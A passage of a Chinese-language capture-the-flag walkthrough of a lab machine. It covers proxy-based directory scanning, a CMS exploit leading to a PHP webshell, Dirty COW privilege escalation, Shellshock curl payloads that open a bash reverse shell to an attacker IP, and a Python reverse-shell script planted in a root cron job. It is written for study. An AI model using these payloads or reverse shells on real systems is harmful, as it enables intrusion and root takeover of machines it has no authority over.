主機(jī)發(fā)現(xiàn)
arp-scan -l
目標(biāo)ip為192.168.1.12
端口掃描
nmap -sV -sC -T4 192.168.1.12 -p-
-sV:查看端口對(duì)應(yīng)服務(wù)
-sC:使用默認(rèn)腳本測(cè)試
-T4:快速測(cè)試
-p-:全端口掃描
掃描完成孟害,看到3128端口拒炎,嘗試訪問一下
在這里卡了很久,根據(jù)他的左下角版本信息搜了一下漏洞挨务,還真有一個(gè)對(duì)應(yīng)版本的繞過訪問限制击你,不過試了很久都沒成功,這里壓根沒想他的功能谎柄,實(shí)在過不去了丁侄,看了一下他的writeup才知道原來這個(gè)端口是http-proxy代理,要通過這個(gè)端口來訪問他的web服務(wù)朝巫。
用proxyfox配一下代理
目錄爆破
再次訪問鸿摇,發(fā)現(xiàn)正常顯示,不過頁(yè)面很簡(jiǎn)單劈猿,目錄爆破一下
dirb http://192.168.1.12 -p 192.168.1.12:3128
# -p 是指定代理
可以看到有個(gè)connect拙吉,可以直接下載是個(gè)py文件,內(nèi)容如下
其實(shí)他就是提權(quán)的關(guān)鍵揪荣,但是我沒用到筷黔,還是因?yàn)槟X子比較笨,感覺他有問題但是沒找到方法
再訪問一下robots.txt
看到這個(gè)就比較興奮了仗颈,訪問一下
【→所有資源關(guān)注我佛舱,私信回復(fù)“資料”獲取←】
1、網(wǎng)絡(luò)安全學(xué)習(xí)路線
2挨决、電子書籍(白帽子)
3请祖、安全大廠內(nèi)部視頻
4、100份src文檔
5脖祈、常見安全面試題
6肆捕、ctf大賽經(jīng)典題目解析
7、全套工具包
8盖高、應(yīng)急響應(yīng)筆記
cms漏洞getshell
這是個(gè)cms慎陵,之前還沒聽說過掏秩,此處省略在這個(gè)頁(yè)面找漏洞的過程,找了個(gè)寂寞
使用searchsploit 找一下有沒有漏洞吧
還真有荆姆,憑借著敏銳的嗅覺(其實(shí)也因?yàn)樗诺谝粋€(gè))蒙幻,我直接查看上圖紅框中的內(nèi)容
文件中寫的很清楚了,我們直接訪問這個(gè)鏈接看一下有沒有這個(gè)界面
有個(gè)登陸界面胆筒,到這里剩下的我感覺太順了
登陸界面直接邮破,admin:admin登陸進(jìn)去
然后就是根據(jù)exploit中的創(chuàng)建文件然后訪問執(zhí)行
shell.php就是我創(chuàng)建的文件,然后點(diǎn)擊該文件就能夠編輯
嘗試執(zhí)行以下系統(tǒng)命令看能不能成功
先向shell.php寫入命令
成功執(zhí)行
然后就是寫入一句話仆救,蟻劍連接
注意蟻劍這里也要配置代理
權(quán)限提升
從蟻劍進(jìn)入終端抒和,找一下有沒有suid提權(quán)或者sudo提權(quán)
好像都沒有,這里直接上傳一個(gè)linux-suggest文件彤蔽,他能檢測(cè)該系統(tǒng)有什么漏洞可以利用
為了方便把他改名為s.sh,給他運(yùn)行權(quán)限并執(zhí)行
chmod 777 s.sh
./sh
執(zhí)行完畢后有很多漏洞摧莽,不過提權(quán)的只有一個(gè)臟牛
這里簡(jiǎn)單說一下臟牛提權(quán)
那就上傳臟牛提權(quán)文件(通過蟻劍拖拽就能上傳),然后編譯執(zhí)行
gcc -pthread dirty.c -o exp3 -lcrypt
#編譯dirty.c文件并保存為exp3
./exp3 123
#執(zhí)行exp3后面跟的是更改后的密碼顿痪,該腳本默認(rèn)將原root用戶名字更改為firefart,所以一旦提權(quán)成功镊辕,直接su firefart 然后輸入剛剛更改的密碼就能切換到root用戶
執(zhí)行完這些命令后就可以看到/etc/passwd中的root用戶的信息已經(jīng)更改為firefart,后面就是我們剛剛更改的密碼123的加密值
這里發(fā)現(xiàn)無法通過su切換用戶,但可以通過ssh連接
不過這有一個(gè)問題就是蚁袭,提權(quán)完成后大約10秒左右靶機(jī)就會(huì)崩潰征懈,但是我還是憑借著超高的手速查看到了。root目錄下的flag
這就是我的一個(gè)打靶過程揩悄,有點(diǎn)狗卖哎,感覺這不是作者規(guī)劃的解題思路(至少提權(quán)那里不是),畢竟提權(quán)完成后機(jī)器會(huì)很快崩潰删性,但是我不愿意再試了亏娜,然后就看了一下其他人的wp,發(fā)現(xiàn)是用我前面發(fā)現(xiàn)的那個(gè)connect.py提權(quán)蹬挺,而且getshell是通過shellshock(破殼)來實(shí)現(xiàn)的维贺,這里復(fù)現(xiàn)一下大佬們的過程順便學(xué)習(xí)一下。
到配置http-proxy基本一樣汗侵,然后是使用nikto掃描網(wǎng)站
nikto -useproxy http://192.168.0.71:3128 -host http://192.168.0.71
#-userproxy 指定代理 這里是在公司復(fù)現(xiàn)的ip換了
這里檢測(cè)出/cgi-bin/status這里可能存在shellshock漏洞幸缕,這里簡(jiǎn)單了解一下這個(gè)漏洞群发。
漏洞原理
目前的bash使用的環(huán)境變量是通過函數(shù)名稱來調(diào)用的晰韵,導(dǎo)致漏洞出問題是以“(){”開頭定義的環(huán)境變量在命令ENV中解析成函數(shù)后,Bash執(zhí)行并未退出熟妓,而是繼續(xù)解析并執(zhí)行shell命令雪猪。核心的原因在于在輸入的過濾中沒有嚴(yán)格限制邊界,沒有做合法化的參數(shù)判斷起愈。
使用curl 測(cè)試一下有無漏洞
curl --proxy 192.168.0.71:3128 -H 'x: () { :;};a= `/bin/id`;echo $a ' http://192.168.0.71/cgi-bin/status
沒有回顯id只恨,不過返回了系統(tǒng)信息译仗,嘗試一下反彈shell
先在本機(jī)開啟監(jiān)聽
然后執(zhí)行下面這條命令反彈shell
curl --proxy 192.168.0.71:3128 -H 'x: () { :;}; /bin/bash -i >& /dev/tcp/192.168.0.48/8888 0>&1 ' http://192.168.0.71/cgi-bin/status
反彈成功
因?yàn)閏onnect.py比較可疑,它的所有者是root官觅,但是任何用戶都可以進(jìn)行讀寫執(zhí)行
這里查看一下計(jì)劃任務(wù)纵菌,linux計(jì)劃任務(wù)存放在/etc/cron*/文件中,
/etc/cron.hourly/ 目錄下存放的是系統(tǒng)每小時(shí)要做的任務(wù)可執(zhí)行腳本
/etc/cron.daily/ 目錄下存放的是系統(tǒng)每天要做的任務(wù)可執(zhí)行腳本
/etc/cron.weekly/ 目錄下存放的是系統(tǒng)每周要做的任務(wù)可執(zhí)行腳本
/etc/cron.monthly/ 目錄下存放的是系統(tǒng)每月要做的任務(wù)可執(zhí)行腳本
這些是可執(zhí)行腳本,不是cron配置文件休涤,crond服務(wù)通過run-parts 工具調(diào)用執(zhí)行這些腳本
除了上面這幾個(gè)存放定時(shí)任務(wù)的腳本外還有一個(gè)重要的文件cron.d,他是我們解題的關(guān)鍵咱圆,它的作用如下
當(dāng)我們要增加全局性的計(jì)劃任務(wù)時(shí),一種方式是直接修改/etc/crontab功氨。但是序苏,一般不建議這樣做,/etc/cron.d目錄就是為了解決這種問題而創(chuàng)建的捷凄。
例如忱详,增加一項(xiàng)定時(shí)的備份任務(wù),我們可以這樣處理:在/etc/cron.d目錄下新建文件backup.sh跺涤,內(nèi)容如下:
# m h dom mon dow user command
* 1 * * * root /sbin/mon_zetc_logtar.sh
cron進(jìn)程執(zhí)行時(shí)匈睁,就會(huì)自動(dòng)掃描該目錄下的所有文件,按照文件中的時(shí)間設(shè)定執(zhí)行后面的命令桶错。
cron執(zhí)行時(shí)软舌,也就是要讀取三個(gè)地方的配置文件:一是/etc/crontab,二是/etc/cron.d目錄下的所有文件牛曹,三是每個(gè)用戶的配置文件
因此我們使用以下命令查看相關(guān)計(jì)劃任務(wù)
ls -al /etc/cron*
查看etc目錄下所有以cron開頭的文件
最終在cron.d中的automate找到關(guān)于connect.py的信息
上圖方框中從左到右分別代表分佛点,時(shí),日黎比,月超营,周,這里五個(gè)星號(hào)表示每分鐘都會(huì)執(zhí)行阅虫。
因此我們可以得出這個(gè)connect.py每分鐘都會(huì)以root用戶執(zhí)行演闭,而且我們可以以普通用戶的身份修改這個(gè)文件。這里就有好幾種方法查看flag文件了颓帝,可疑使用python os.system執(zhí)行命令反彈shell米碰,也可以直接使用python反彈shell,也可以給root目錄增大權(quán)限所有用戶都可以訪問购城,甚至修改etc/passwd中用戶的權(quán)限吕座,這里我們就用反彈shell的形式提權(quán)。
但是我這里沒辦法直接使用vim修改connect.py瘪板,這樣他會(huì)斷開吴趴,使用python的pty獲得相對(duì)穩(wěn)定的shell還是沒辦法使用vim編輯,我這里直接在我攻擊機(jī)上先寫好代碼(shell.py)侮攀,使用wget獲取下載到靶機(jī)锣枝。
python代碼如下
#!/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.15",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
然后在攻擊機(jī)當(dāng)前路徑開啟http服務(wù)
在靶機(jī)使用
wget獲取python腳本
使用cat命令將shell.py復(fù)制到connect.py中
然后斷開連接厢拭,重新在攻擊機(jī)開啟監(jiān)聽 8888端口,等了半分鐘撇叁,成功反彈shell
查看flag
這個(gè)靶場(chǎng)到此結(jié)束供鸠!